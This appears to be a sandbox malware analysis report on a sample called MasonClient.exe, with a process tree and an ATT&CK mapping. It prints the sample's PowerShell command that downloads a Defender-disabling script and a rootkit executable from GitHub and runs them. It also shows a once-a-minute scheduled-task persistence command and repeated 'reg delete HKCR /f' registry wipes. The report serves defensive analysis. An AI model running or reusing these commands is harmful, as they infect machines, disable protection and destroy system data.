PID 2880 wrote to memory of 1096	2880	dllhost.exe	17
PID 2880 wrote to memory of 1120	2880	dllhost.exe	19
PID 2880 wrote to memory of 1228	2880	dllhost.exe	20
PID 2880 wrote to memory of 1292	2880	dllhost.exe	21
PID 2880 wrote to memory of 1356	2880	dllhost.exe	22
PID 2880 wrote to memory of 1368	2880	dllhost.exe	23
PID 2880 wrote to memory of 1376	2880	dllhost.exe	24
PID 2880 wrote to memory of 1480	2880	dllhost.exe	25
PID 2880 wrote to memory of 1500	2880	dllhost.exe	26
PID 2880 wrote to memory of 1548	2880	dllhost.exe	27
PID 2880 wrote to memory of 1560	2880	dllhost.exe	28
PID 2880 wrote to memory of 1624	2880	dllhost.exe	29
PID 2880 wrote to memory of 1732	2880	dllhost.exe	30
PID 2880 wrote to memory of 1780	2880	dllhost.exe	31
PID 2880 wrote to memory of 1840	2880	dllhost.exe	32
PID 2880 wrote to memory of 1868	2880	dllhost.exe	33
PID 2880 wrote to memory of 1880	2880	dllhost.exe	34
PID 2880 wrote to memory of 1948	2880	dllhost.exe	35
PID 2880 wrote to memory of 2036	2880	dllhost.exe	36
PID 2880 wrote to memory of 2068	2880	dllhost.exe	37
PID 2880 wrote to memory of 2128	2880	dllhost.exe	39
PID 2880 wrote to memory of 2188	2880	dllhost.exe	40
PID 2880 wrote to memory of 2368	2880	dllhost.exe	41
PID 2880 wrote to memory of 2412	2880	dllhost.exe	42
PID 2880 wrote to memory of 2420	2880	dllhost.exe	43
PID 2880 wrote to memory of 2540	2880	dllhost.exe	44
PID 2880 wrote to memory of 2636	2880	dllhost.exe	45
PID 2880 wrote to memory of 2660	2880	dllhost.exe	46
PID 2880 wrote to memory of 2676	2880	dllhost.exe	47
PID 2880 wrote to memory of 2692	2880	dllhost.exe	48
PID 2880 wrote to memory of 2916	2880	dllhost.exe	49
PID 2880 wrote to memory of 3016	2880	dllhost.exe	50

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:380
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1db9d830-8c68-4819-b384-e28f797a00f0}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2880
- C:\Windows\system32\LogonUI.exe
  "LogonUI.exe" /flags:0x4 /state0:0xa3910055 /state1:0x41c64e6d
  2⤵
  PID:6988

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1088
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3128
- C:\Users\Admin\AppData\Roaming\MasonClient.exe
  C:\Users\Admin\AppData\Roaming\MasonClient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3048
- C:\Users\Admin\AppData\Roaming\MasonClient.exe
  C:\Users\Admin\AppData\Roaming\MasonClient.exe
  2⤵
  - Executes dropped EXE
  PID:5780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1120

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1560
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1868

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2036

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Suspicious use of UnmapMainImage
PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2636

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2692

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3352

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3436
- C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
  "C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
      "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2392
    - - C:\ProgramData\MasonRootkit.exe
        
        "C:\ProgramData\MasonRootkit.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4140
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA1ED.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:384
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1516
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:4760
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3480
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6040
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:6048
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      Modifies registry class
      PID:1852
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:3588
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4584
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      Modifies registry class
      PID:664
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:2964
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3036
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:5692
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:2492
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:1820
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:1596
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5456
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:948
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:5816
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:2912
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:4412
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:3772
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:1804
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:628
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:4236
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5596
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:5448
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:2344
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:3976
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:384
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:924
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:2944
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:3880
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:4672
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:2748
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:4292
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:776
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:1004
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:3160
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:2580
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6128
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5644
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:3504
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5572
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:5668
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5020
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:4928
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:1236
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6460
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:4492
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6712
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:400
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6688
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:4876
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6992
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6160
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6196
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6452
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:3040
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6728
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6624
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:7016
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6216
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6244
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:2668
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:4868
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6940
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5752
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:7052
- - C:\Windows\SYSTEM32\shutdown.exe
    shutdown -L
    3⤵
    PID:5364
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6796
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3556

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3908

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3144

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2940

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:1924

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3960

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2796

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:2224

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2104

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 6743764b27d0b51ad4ab72dad829880f Y2J7tmjyIUK3/G2HlLzDcA.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:1284
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2248

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1676

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:5936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1660

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4140

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:5244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery